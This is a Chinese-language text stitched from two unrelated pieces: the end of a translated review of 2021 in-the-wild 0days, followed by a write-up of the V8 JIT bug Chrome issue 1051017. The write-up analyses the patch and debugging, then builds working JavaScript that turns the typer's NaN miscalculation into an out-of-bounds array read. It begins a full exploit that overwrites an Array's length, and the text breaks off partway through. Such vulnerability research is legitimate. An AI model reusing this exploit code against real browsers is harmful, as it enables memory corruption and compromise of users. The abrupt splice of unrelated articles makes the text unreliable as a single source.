尽管在检测和披露方面取得了进展，但这也表明还有很多工作要做。我们获得的数据越多，关于检测偏差的问题就越多，我们遗漏了什么以及为什么，以及厂商和研究人员都需要提高透明度。
除非攻击者决定与我们分享他们所有的漏洞利用，否则我们不能完全知道有多少 0day
是公开的。然而，当我们把作为安全研究人员的专业知识和业内其他人的见闻结合起来时，它描绘出了一些我们很可能缺失的数据。因此，进入2022年，我们会问自己一些关键问题：
#### 未知的 0day 在哪里？
尽管 2021 年发现了许多 0day，但发现的 0day 中仍然缺少关键目标。例如，我们知道 WhatsApp、Signal、Telegram
等即时通讯应用是攻击者感兴趣的目标，但只有 1 个即时通讯应用 iMessage，在过去一年中发现了 0day。自从我们在 2014
年年中开始跟踪以来，总共有2个：2019 年的 WhatsApp 0day 和 2021 年发现的 iMessage 0day。
除了即时通讯应用之外，还有其他平台/目标我们希望看到 0day，但没有或很少有公开示例。例如，自 2014 年年中以来，macOS 和 Linux
各只有一个在野 0day。目前没有已知的针对云、CPU 漏洞或其他手机组件（如 WiFi 芯片或基带）的在野 0day。
这就引出了这样一个问题：这些 0day 的缺乏是由于没有检测到、没有披露，还是两者兼而有之？
#### 一些厂商没有公开的 0day，是因为从未发现，还是因为不公开披露？
除非厂商告诉我们他们将公开披露其所有漏洞的利用状态，否则我们公众不知道没有注释是否意味着没有已知的漏洞利用，或者存在漏洞利用，但厂商只是没有公开分享这些信息。值得庆幸的是，这个问题有一个非常明确的解决方案：当有证据表明他们的产品存在漏洞时，所有设备和软件厂商都同意公开披露。
#### 我们看到相同的漏洞模式是否是因为这是我们知道如何检测的？
正如我们在本报告前面所述，我们在 2021 年看到的所有 0day
都与之前看到的漏洞有相似之处。这让我们想知道这是否真的代表了攻击者所使用的，攻击者是否真的只使用以前公开的错误类别和组件中的漏洞取得成功？
或者我们用已知的漏洞模式来检测所有这些
0day，因为这是我们知道如何检测的？公共安全研究表明，是的，攻击者在大多数情况下仍然能够成功地利用已知组件和错误类别中的漏洞。但我们仍然希望看到一些新奇和意想不到的漏洞。我们早在2019年的年度回顾中就提出了这个问题，现在这个问题仍然存在。
#### spl0itz 在哪里？
要成功利用漏洞，有两个关键部分：被利用的漏洞和利用方法（如何将该漏洞转化为有用的东西）。
但是这份报告只能真正分析其中一个组成部分：漏洞。在 58 个 0day 中，只有 5 个公开了漏洞利用示例。在野发现的 0day
是攻击者的失败案例，也是防御者了解攻击者正在做什么的关键机会，并以此使其更难、更耗时、更昂贵。然而，如果没有利用样本或基于样本的详细技术文章，我们只能专注于修复漏洞而不是减轻利用方法的影响。这意味着攻击者能够继续使用他们现有的利用方法，而不必构建新的利用方法。虽然我们承认共享漏洞利用样本可能具有挑战性（我们也面临这样的挑战！），但我们仍希望在2022年将会有更多共享漏洞利用示例或详细的技术文章，以便我们可以使用一切可能的信息，使攻击者更难利用更多用户。
顺便说一句，如果您愿意与我们分享漏洞利用示例，请与我们联系。无论是与我们分享，让我们撰写详细的技术描述和分析，还是让我们公开分享，我们都很乐意合作。
### 结论
回首 2021 年，我脑海里浮现的是“婴儿阶段”。我们可以看到在 0day
漏洞的检测和披露方面，行业有明显的进步。但更好的检测和披露也突出了其他进步的机会。作为一个行业，我们并没有让 0day
利用变得更加困难。攻击者利用与我们之前看到的类似的漏洞，以及之前被讨论为攻击面的组件中的漏洞取得了成功。我们的目标是每次我们检测到攻击者的一个漏洞时都迫使攻击者从头开始：他们被迫发现一个全新的漏洞，他们必须投入时间学习和分析新的攻击面，他们必须开发一种全新的利用方法。虽然我们在检测和披露方面取得了显著进展，但它向我们展示了可以继续改进的领域。
虽然这一切令人望而生畏，但有希望的是我们以前就这样做过：我们在以前令人生畏的目标上取得了明显的进展。2019 年，我们讨论了 0day
漏洞的巨大检测缺陷，2
年后发现并披露了超过两倍的漏洞。因此，虽然还有很多工作要做，但这是一个容易解决的问题。科技和安全行业可以采取一些具体措施来取得更大进展：
1. 当有证据表明产品中的漏洞正在被利用时，让所有厂商公开披露成为行业标准行为；
2. 厂商和安全研究人员共享漏洞利用样本或漏洞利用技术的详细描述；
3. 继续共同努力减少内存损坏漏洞或使其无法利用。
到 2021 年，我们不断看到对用户和实体使用 0day
漏洞对现实世界的影响。国际特赦组织、公民实验室和其他机构一再强调，政府如何使用商业监控产品来对付记者、人权捍卫者和政府官员。我们看到许多企业都在争先恐后地修复和保护自己免受
Exchange Server 0day 的影响。我们甚至了解到同行安全研究人员已成为朝鲜政府黑客的目标，虽然地球上的大多数人不需要担心自己被 0day
攻击的风险，但 0day 攻击仍然影响着我们所有人。这些 0day
往往会对社会产生巨大的影响，因此我们需要继续尽我们所能，让攻击者更难在这些攻击中取得成功。
2021 年表明我们正走在正确的轨道上并取得了进展，但要让 0day 利用变得艰难，我们还有很多工作要做。
* * * | 社区文章 |
# chrome issue 1051017 v8 逃逸
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
chrome issue
1051017是2020年2月公布的一个v8漏洞，该漏洞是在JIT优化时对循环变量的类型估算考虑不周导致的compiler阶段的类型混淆，通过compiler阶段的类型混淆进一步构造OOB溢出。
## 0x01 前置知识
[induction
variable](https://baike.baidu.com/item/%E5%BD%92%E7%BA%B3%E5%8F%98%E9%87%8F/53353317?fr=aladdin)指循环中的一个变量，其值在每一次循环迭代过程中增加（或减少）固定的值，也就是循环中的i变量等。有关编译器确定程序中循环变量的算法，可以阅读论文`INTERPROCEDURAL
INDUCTION VARIABLE ANALYSIS`。
## 0x02 issue 1051017 分析
### patch分析
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 14ec856..4e86b96 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -847,30 +847,24 @@
DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());
- auto res = induction_vars_->induction_variables().find(node->id());
- DCHECK(res != induction_vars_->induction_variables().end());
- InductionVariable* induction_var = res->second;
- InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
Type initial_type = Operand(node, 0);
Type increment_type = Operand(node, 2);
- const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
- increment_type.Is(typer_->cache_->kInteger);
- bool maybe_nan = false;
- // The addition or subtraction could still produce a NaN, if the integer
- // ranges touch infinity.
- if (both_types_integer) {
- Type resultant_type =
- (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
- ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
- : typer_->operation_typer()->NumberSubtract(initial_type,
- increment_type);
- maybe_nan = resultant_type.Maybe(Type::NaN());
+ // If we do not have enough type information for the initial value or
+ // the increment, just return the initial value's type.
+ if (initial_type.IsNone() ||
+ increment_type.Is(typer_->cache_->kSingletonZero)) {
+ return initial_type;
}
- // We only handle integer induction variables (otherwise ranges
- // do not apply and we cannot do anything).
- if (!both_types_integer || maybe_nan) {
+ // We only handle integer induction variables (otherwise ranges do not apply
+ // and we cannot do anything). Moreover, we don't support infinities in
+ // {increment_type} because the induction variable can become NaN through
+ // addition/subtraction of opposing infinities.
+ if (!initial_type.Is(typer_->cache_->kInteger) ||
+ !increment_type.Is(typer_->cache_->kInteger) ||
+ increment_type.Min() == -V8_INFINITY ||
+ increment_type.Max() == +V8_INFINITY) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
@@ -883,14 +877,13 @@
}
return type;
}
- // If we do not have enough type information for the initial value or
- // the increment, just return the initial value's type.
- if (initial_type.IsNone() ||
- increment_type.Is(typer_->cache_->kSingletonZero)) {
- return initial_type;
- }
// Now process the bounds.
+ auto res = induction_vars_->induction_variables().find(node->id());
+ DCHECK(res != induction_vars_->induction_variables().end());
+ InductionVariable* induction_var = res->second;
+ InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
+
double min = -V8_INFINITY;
double max = V8_INFINITY;
@@ -946,8 +939,8 @@
// The lower bound must be at most the initial value's lower bound.
min = std::min(min, initial_type.Min());
} else {
- // Shortcut: If the increment can be both positive and negative,
- // the variable can go arbitrarily far, so just return integer.
+ // If the increment can be both positive and negative, the variable can go
+ // arbitrarily far.
return typer_->cache_->kInteger;
}
if (FLAG_trace_turbo_loop) {
diff --git a/test/mjsunit/compiler/regress-1051017.js b/test/mjsunit/compiler/regress-1051017.js
new file mode 100644
index 0000000..16ed22e
--- /dev/null
+++ b/test/mjsunit/compiler/regress-1051017.js
@@ -0,0 +1,34 @@
+// Copyright 2020 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+
+function foo1() {
+ var x = -Infinity;
+ var i = 0;
+ for (; i < 1; i += x) {
+ if (i == -Infinity) x = +Infinity;
+ }
+ return i;
+}
+
+%PrepareFunctionForOptimization(foo1);
+assertEquals(NaN, foo1());
+assertEquals(NaN, foo1());
+%OptimizeFunctionOnNextCall(foo1);
+assertEquals(NaN, foo1());
+
+
+function foo2() {
+ var i = -Infinity;
+ for (; i <= 42; i += Infinity) { }
+ return i;
+}
+
+%PrepareFunctionForOptimization(foo2);
+assertEquals(NaN, foo2());
+assertEquals(NaN, foo2());
+%OptimizeFunctionOnNextCall(foo2);
+assertEquals(NaN, foo2());
该patch是用于修复`ISSUE 1051017`漏洞的,该patch的批注如下
The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.
该patch位于`src/compiler/typer.cc`源文件的`Typer::Visitor::TypeInductionVariablePhi`函数，从文件名和函数名可以推出，该函数属于JIT编译器的一部分，并且可能是在`Typer`阶段被调用，且与循环变量(induction
variables)有关。
### 调试分析
为了弄清楚漏洞原理，我们回退到`parent`版本，编译v8引擎以后进行调试，我们使用其给出的poc进行调试
function foo() {
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
return i;
}
%PrepareFunctionForOptimization(foo);
print(Object.is(foo(), NaN));
print(Object.is(foo(), NaN));
%OptimizeFunctionOnNextCall(foo);
print(Object.is(foo(), NaN));
在该poc中，i就是`induction variables`，而x就是`increment`
首先`Typer::Visitor::TypeInductionVariablePhi`设置断点，然后运行poc，来到`both_types_integer`的判断
857 const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
858 increment_type.Is(typer_->cache_->kInteger);
► 859 bool maybe_nan = false;
860 // The addition or subtraction could still produce a NaN, if the integer
861 // ranges touch infinity.
862 if (both_types_integer) {
863 Type resultant_type =
864 (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffda7688b70 —▸ 0x7ffda7688ba0 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 ◂— ...
01:0008│ 0x7ffda7688b78 —▸ 0x7f727414f6f3 ◂— and al, 1
02:0010│ 0x7ffda7688b80 ◂— 0x0
03:0018│ 0x7ffda7688b88 ◂— 0x100561e3b28c9d0
04:0020│ 0x7ffda7688b90 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 —▸ 0x7f72744a74a0 ◂— ...
05:0028│ 0x7ffda7688b98 —▸ 0x561e3b28c9d0 ◂— 0x45e00000004
06:0030│ 0x7ffda7688ba0 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 —▸ 0x7f72744a74a0 ◂— ...
07:0038│ 0x7ffda7688ba8 —▸ 0x7ffda7688bc8 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 ◂— ...
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
► f 0 7f7274829ec9 v8::internal::compiler::Typer::Visitor::TypeInductionVariablePhi(v8::internal::compiler::Node*)+825
f 1 7f7274822627 v8::internal::compiler::Typer::Visitor::Reduce(v8::internal::compiler::Node*)+2887
f 2 7f7274531c97 v8::internal::compiler::GraphReducer::Reduce(v8::internal::compiler::Node*)+231
f 3 7f72745318b7 v8::internal::compiler::GraphReducer::ReduceTop()+775
f 4 7f72745312b1 v8::internal::compiler::GraphReducer::ReduceNode(v8::internal::compiler::Node*)+209
f 5 7f7274531ba0 v8::internal::compiler::GraphReducer::ReduceGraph()+48
f 6 7f727481b510
f 7 7f727473faad
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p both_types_integer
$8 = true
因为poc里，`induction
variables`i初始值为0，属于`typer_->cache_->kInteger`类型，然后`increment`x初始值为`-Infinity`，也属于`typer_->cache_->kInteger`类型，因此，接下来会进入if分支
862 if (both_types_integer) {
863 Type resultant_type =
► 864 (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
865 ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
866 : typer_->operation_typer()->NumberSubtract(initial_type,
867 increment_type);
868 maybe_nan = resultant_type.Maybe(Type::NaN());
869 }
──────────────────────────────────
执行后，`maybe_nan`为false，这样程序顺利绕过了下面的if
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
// operation even though the increment's type might been already reflected
// in the induction variable phi.)
Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
接下来就开始正式处理循环逻辑了
897 double increment_min;
898 double increment_max;
899 if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
900 increment_min = increment_type.Min();
901 increment_max = increment_type.Max();
► 902 } else {
903 DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
904 increment_min = -increment_type.Max();
905 increment_max = -increment_type.Min();
906 }
由于poc里，i执行的操作是`+=`，满足条件`arithmetic_type ==
InductionVariable::ArithmeticType::kAddition`，因此，`increment_min`等于`-inf`，而`increment_max`等于`inf`，那么就直接进入下面的`else`分支，返回`typer_->cache_->kInteger;`类型
if (increment_min >= 0) {
...
} else if (increment_max <= 0) {
...
} else {
// Shortcut: If the increment can be both positive and negative,
// the variable can go arbitrarily far, so just return integer.
return typer_->cache_->kInteger;
}
回到上层调用，最终发现，该函数在`v8::internal::compiler::Typer::Run`时调用。
pwndbg> return
#0 0x00007f72745318b7 in v8::internal::compiler::GraphReducer::ReduceTop (this=0x7ffda768a7a8) at ../../src/compiler/graph-reducer.cc:156
156 Reduction reduction = Reduce(node);
pwndbg> return
#0 v8::internal::compiler::GraphReducer::ReduceNode (this=0x7ffda768a7a8, node=0x561e3b26f350) at ../../src/compiler/graph-reducer.cc:60
60 } else if (!revisit_.empty()) {
pwndbg> return
#0 0x00007f7274531ba0 in v8::internal::compiler::GraphReducer::ReduceGraph (this=0x7ffda768a7a8) at ../../src/compiler/graph-reducer.cc:81
81 void GraphReducer::ReduceGraph() { ReduceNode(graph()->end()); }
pwndbg> return
#0 v8::internal::compiler::Typer::Run (this=0x561e3b1baa50, roots=..., induction_vars=0x7ffda768a950) at ../../src/compiler/typer.cc:433
433 if (induction_vars != nullptr) {
从以上调试情况来看，我们可以知道`Typer::Visitor::TypeInductionVariablePhi`函数是在`Typer`阶段用于确定`induction
variables`循环变量的最终类型的。通过调试知道，JIT编译器认为poc里的这个循环，i最终类型为`typer_->cache_->kInteger;`，然而，在实际的普通js层，测试发现，i最终类型为`NaN`
function foo() {
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
return i;
}
undefined
foo()
NaN
由此，可以知道，该漏洞使得`JIT`层面和普通`JS`层面对循环变量i的类型判断不一致，也就是在`JIT`层面有一个类型混淆。
### 漏洞修复分析
我们来看一下该漏洞是如何被修复的
- // We only handle integer induction variables (otherwise ranges
- // do not apply and we cannot do anything).
- if (!both_types_integer || maybe_nan) {
+ // We only handle integer induction variables (otherwise ranges do not apply
+ // and we cannot do anything). Moreover, we don't support infinities in
+ // {increment_type} because the induction variable can become NaN through
+ // addition/subtraction of opposing infinities.
+ if (!initial_type.Is(typer_->cache_->kInteger) ||
+ !increment_type.Is(typer_->cache_->kInteger) ||
+ increment_type.Min() == -V8_INFINITY ||
+ increment_type.Max() == +V8_INFINITY) {
主要是在原来这个if里面增加了两个条件，判断`increment_type.Min()`和`increment_type.Max()`的值
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
// operation even though the increment's type might been already reflected
// in the induction variable phi.)
Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
如果两个值分别为`-V8_INFINITY`和`+V8_INFINITY`，那么经过`type = Type::Union(type,
Operand(node, i), zone());`操作，type类型为`NaN`与JS层面保持一致。
## 0x03 issue 1051017 漏洞利用
### OOB数组构造
首先，在原有的基础上加入一个数组
function opt(index) {
var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
//compiler:Range(1,INF)
//reality:NaN
var x = Math.max(i,1);
return x;
}
%PrepareFunctionForOptimization(opt);
print(Object.is(opt(), NaN));
print(Object.is(opt(), NaN));
%OptimizeFunctionOnNextCall(opt);
print(Object.is(opt(), NaN));
运行结果并无差异
root@ubuntu:~/Desktop/v8/out.gn/x64.debug# ./d8 p.js --allow-natives-syntax
true
true
true
我们查看一下IR图
可以发现在`Typer`阶段，`var x = Math.max(i,1);`这句已经形成了一个节点为`Range(1,inf)`
我们再来看一下加入修复补丁以后的v8运行的IR图，修复后其值为`NaN`
现在的情况是编译器认为其值为`Range(1,INF)`，而真实值为`NaN`
//compiler:Range(1,INF)
//reality:NaN
var x = Math.max(i,1);
现在，我们需要利用某种方法，使得`compiler`形成的Range在数组长度之内，而`reality`真值则实际大于数组长度。考虑做如下运算
//compiler:Range(-INF,-1)
//reality:NaN
x = -x;
//compiler:Range(-2,-1)
//reality:NaN
x = Math.max(x,-2);
//compiler:Range(-2,-1)
//reality:0
x >>= 0;
首先，将区间取反，这样，对于编译器来说是`Range(-INF,-1)`而真值却为`NaN`，接下来再用max函数，使得Range估算为`(-2,-1)`,真值却仍然为`NaN`，然后利用`>>`运算，`>>
0`运算可以使得`NaN`的值变为0，使得编译器认为`Range(-2,-1)`，而真值为0。
然后，我们查看IR图
正如预料的那样，编译器的最终评估为`Range(-2,-1)`。
为了进一步调试真实值的计算过程，我们使用如下代码进行调试
function opt(index) {
var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
//compiler:Range(1,INF)
//reality:NaN
var x = Math.max(i,1); //
//compiler:Range(-INF,-1)
//reality:NaN
x = -x; //
//compiler:Range(-2,-1)
//reality:NaN
x = Math.max(x,-2);
//compiler:Range(-2,-1)
//reality:0
x >>= 0; //
return x;
}
%PrepareFunctionForOptimization(opt);
print(opt(5));
%OptimizeFunctionOnNextCall(opt);
print(opt(5));
%SystemBreak();
print(opt(5));
使用如下参数进行调试
set args --allow-natives-syntax ./p.js -print-opt-code
在打印出JIT代码和地址后，我们在JIT代码地址出断点然后调试
这里是for循环的逻辑
pwndbg> u rip
0x257b00082b8c vpsllq xmm3, xmm3, 0x36
0x257b00082b91 vpsrlq xmm3, xmm3, 2
0x257b00082b96 vmovapd xmm1, xmm0
0x257b00082b9a vmovapd xmm2, xmm0
0x257b00082b9e jmp 0x257b00082bb4 <0x257b00082bb4>
↓
► 0x257b00082bb4 vucomisd xmm3, xmm2
0x257b00082bb8 seta dl
0x257b00082bbb movzx edx, dl
0x257b00082bbe cmp edx, 0
0x257b00082bc1 je 0x257b00082be9 <0x257b00082be9>
0x257b00082bc7 cmp rsp, qword ptr [r13 + 0x60]
pwndbg> p $xmm3
$14 = {
v4_float = {0, 1.875, 0, 1.875},
v2_double = {1, 1},
v16_int8 = {0, 0, 0, 0, 0, 0, -16, 63, 0, 0, 0, 0, 0, 0, -16, 63},
v8_int16 = {0, 0, 0, 16368, 0, 0, 0, 16368},
v4_int32 = {0, 1072693248, 0, 1072693248},
v2_int64 = {4607182418800017408, 4607182418800017408},
uint128 = 84987514980498058628394346335474548736
}
pwndbg> p $xmm2
$15 = {
v4_float = {0, -nan(0x700000), 0, -nan(0x700000)},
v2_double = {-inf, -inf},
v16_int8 = {0, 0, 0, 0, 0, 0, -16, -1, 0, 0, 0, 0, 0, 0, -16, -1},
v8_int16 = {0, 0, 0, -16, 0, 0, 0, -16},
v4_int32 = {0, -1048576, 0, -1048576},
v2_int64 = {-4503599627370496, -4503599627370496},
uint128 = 340199290171201906239760359964582871040
}
当for循环逻辑结束后，此时查看循环变量i的值
► 0x257b00082bf2 vmovapd xmm3, xmm2
0x257b00082bf6 vpcmpeqd xmm4, xmm4, xmm4
0x257b00082bfa vpsllq xmm4, xmm4, 0x3f
0x257b00082bff vxorpd xmm0, xmm4, xmm3
0x257b00082c03 vpcmpeqd xmm3, xmm3, xmm3
0x257b00082c07 vpsllq xmm3, xmm3, 0x3e
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe9b633928 ◂— 0xc /* '\x0c' */
01:0008│ 0x7ffe9b633930 ◂— 0x84
02:0010│ 0x7ffe9b633938 —▸ 0x257b08240cf5 ◂— 0xb90000020a082801
03:0018│ 0x7ffe9b633940 —▸ 0x257b0825018d ◂— 0xe9080406e9082802
04:0020│ 0x7ffe9b633948 —▸ 0x257b08240cf5 ◂— 0xb90000020a082801
05:0028│ rbp 0x7ffe9b633950 —▸ 0x7ffe9b6339b0 —▸ 0x7ffe9b6339d8 —▸ 0x7ffe9b633a40 —▸ 0x7ffe9b633a90 ◂— ...
06:0030│ 0x7ffe9b633958 —▸ 0x7f23c7e30ad1 (Builtins_InterpreterEntryTrampoline+209) ◂— mov r14, qword ptr [rbp - 0x18]
07:0038│ 0x7ffe9b633960 ◂— 0xa /* '\n' */
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
► f 0 257b00082bf2
f 1 c
f 2 84
f 3 257b08240cf5
f 4 257b0825018d
f 5 257b08240cf5
f 6 7ffe9b6339b0
f 7 7f23c7e30ad1 Builtins_InterpreterEntryTrampoline+209
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p $xmm2
$23 = {
v4_float = {0, -nan(0x780000), 0, -nan(0x700000)},
v2_double = {-nan(0x8000000000000), -inf},
v16_int8 = {0, 0, 0, 0, 0, 0, -8, -1, 0, 0, 0, 0, 0, 0, -16, -1},
v8_int16 = {0, 0, 0, -8, 0, 0, 0, -16},
v4_int32 = {0, -524288, 0, -1048576},
v2_int64 = {-2251799813685248, -4503599627370496},
uint128 = 340199290171201906239762611764396556288
}
i现在是`-NaN`，执行`x = -x`以后·，来到`x = Math.max(x,-2);`逻辑
pwndbg> p $xmm3
$27 = {
v4_float = {0, -2, 0, -2},
v2_double = {-2, -2},
v16_int8 = {0, 0, 0, 0, 0, 0, 0, -64, 0, 0, 0, 0, 0, 0, 0, -64},
v8_int16 = {0, 0, 0, -16384, 0, 0, 0, -16384},
v4_int32 = {0, -1073741824, 0, -1073741824},
v2_int64 = {-4611686018427387904, -4611686018427387904},
uint128 = 255211775190703847611366013629108322304
}
pwndbg> p $xmm0
$28 = {
v4_float = {0, nan(0x780000), 0, nan(0x700000)},
v2_double = {nan(0x8000000000000), inf},
v16_int8 = {0, 0, 0, 0, 0, 0, -8, 127, 0, 0, 0, 0, 0, 0, -16, 127},
v8_int16 = {0, 0, 0, 32760, 0, 0, 0, 32752},
v4_int32 = {0, 2146959360, 0, 2146435072},
v2_int64 = {9221120237041090560, 9218868437227405312},
uint128 = 170058106710732674498851936011657674752
}
最后`>> 0`运算被转换为了如下代码
0x257b00082c5e vcvttsd2si edx, xmm3
0x257b00082c62 lea eax, [rdx + rdx]
RAX 0x0
RDX 0x80000000
通过调试，我们发现，生成的JIT代码是没有问题的，确实是按照`NaN`来运算，`bug`仅出现在`IR`分析阶段。接下来，我们继续构造
function opt(index) {
var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
//compiler:Range(1,INF)
//reality:NaN
var x = Math.max(i,1); //
//compiler:Range(-INF,-1)
//reality:NaN
x = -x; //
//compiler:Range(-2,-1)
//reality:NaN
x = Math.max(x,-2);
//compiler:Range(-2,-1)
//reality:0
x >>= 0; //
//compiler:Range(0,1)
//reality:2
x += 2;
//compiler:Range(0,7)
//reality:Range(0,7)
index &= 0x7;
//compiler:Range(0,7)
//reality:Range(0,14)
index *= x;
return a[index];
}
这样可以使得编译器的估测值比真实运算结果小，由此发生溢出。运行发现程序直接崩溃
root@ubuntu:~/Desktop/v8/out.gn/x64.bug# ./d8 poc.js --trace-turbo --allow-natives-syntax
Concurrent recompilation has been disabled for tracing.
undefined
--------------------------------------------------- Begin compiling method opt using TurboFan
--------------------------------------------------- Finished compiling method opt using TurboFan
Trace/breakpoint trap (core dumped)
分析IR图，`checkbounds`的`Range(0,7)`在数组长度之内，在后续，该`checkbounds`会被移除
在`V8.TFEffectLinearization 369`阶段，已经没有了边界检查，因此也可以溢出
从IR图中，未分析出任何异常，因此，我们继续调试JIT代码
R8 0x80000000
R9 0x55f4d8748520 —▸ 0x17608100000 ◂— 0x40000
R10 0x4023cccccccccccd
R11 0x5
*R12 0x17608243c81 ◂— 0x310000005408040b
R13 0x17600000000 —▸ 0x7ffebe6b7a18 ◂— 0x17600000000
R14 0x1760825009d ◂— 0x89000000e0080409
R15 0x55f4d87144c0 —▸ 0x7f451f0e2360 (Builtins_WideHandler) ◂— lea rbx, [rip - 7]
RBP 0x7ffebe6b67b0 —▸ 0x7ffebe6b6810 —▸ 0x7ffebe6b6838 —▸ 0x7ffebe6b68a0 —▸ 0x7ffebe6b68f0 ◂— ...
RSP 0x7ffebe6b6780 —▸ 0x7ffebe6b67c0 ◂— 0xa /* '\n' */
*RIP 0x17600082d2b ◂— add r8d, 2
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x17600082d12 mov r11, qword ptr [rbp + 0x10]
0x17600082d16 sar r11d, 1
0x17600082d19 movabs r12, 0x17608243a45
0x17600082d23 mov r12d, dword ptr [r12 + 3]
0x17600082d28 add r12, r13
► 0x17600082d2b add r8d, 2
调试中看出,在执行`x += 2;`时，x(寄存器r8)的值仍然为`0x80000000`，最终使得运算的下标为`R8
0x8000000a`，即有一个符号位的存在，因此，我们可以在最后添加一个移位操作，用于移除`NaN`计算造成的符号位。完整的OOB构造方法如下
function opt(index) {
var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var x = -Infinity;
var i = 0;
for (; i < 1; i += x) {
if (i == -Infinity) x = +Infinity;
}
//compiler:Range(1,INF)
//reality:NaN
var x = Math.max(i,1); //
//compiler:Range(-INF,-1)
//reality:NaN
x = -x; //
//compiler:Range(-2,-1)
//reality:NaN
x = Math.max(x,-2);
//compiler:Range(-2,-1)
//reality:0
x >>= 0; //
//compiler:Range(0,1)
//reality:2
x += 2;
//compiler:Range(0,7)
//reality:Range(0,7)
index &= 0x7;
//compiler:Range(0,7)
//reality:Range(0,14)
index *= x;
index <<= 1;
index >>= 1;
return a[index];
}
%PrepareFunctionForOptimization(opt);
print(opt(5));
%OptimizeFunctionOnNextCall(opt);
print(opt(5));
%SystemBreak();
print(opt(5));
运行后发现成功溢出
root@ubuntu:~/Desktop/v8/out.gn/x64.bug# ./d8 p.js --allow-natives-syntax
undefined
-8.864952837205469e-7
### 疑难问题
在构造过程中,`var x = Math.max(i,1);`和`x = Math.max(x,-2);`语句中的参数，位置不能调换，否则利用失败。
这是因为`max`函数最终是会被转换为`Float64LessThan`函数，
而对于一个`NaN`，任何的比较都是false，因此在这个情况下，`max`运算的真实结果将会是第一个参数
NaN == NaN
false
NaN < 1
false
NaN > 1
false
而我们的目的就是要让`NaN`参与真实值的计算，因此，不能调换参数的位置。
能否使用`var x = i < 1 ? 1 : i`来代替`max`函数？答案是不行。
这将导致`var x = i < 1 ? 1 :
i`这个`Phi`节点与`i`的估测一致，同为`Range(-INF,INF)`，因为从程序的流程分析来看，显然`i <
1`是恒不成立的，因为刚刚循环退出的条件就是`i >= 1`，因此，`var x = i < 1 ? 1 : i`就相当于`var x =
i`，在后面，编译器直接评估它与i的情况一样，同为`Range(-inf,inf)`，由此不能达到我们的利用目的。同理，`var x = i > 1 ? i
: 1;`也不可行，它将使得i为`NaN`时，x的值为1。
### exp编写
控制好对象布局，利用JIT的oob，覆写后方`Array`的length，从而构造一个自由溢出的`OOB Array`，然后后续就是简单的利用了。
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
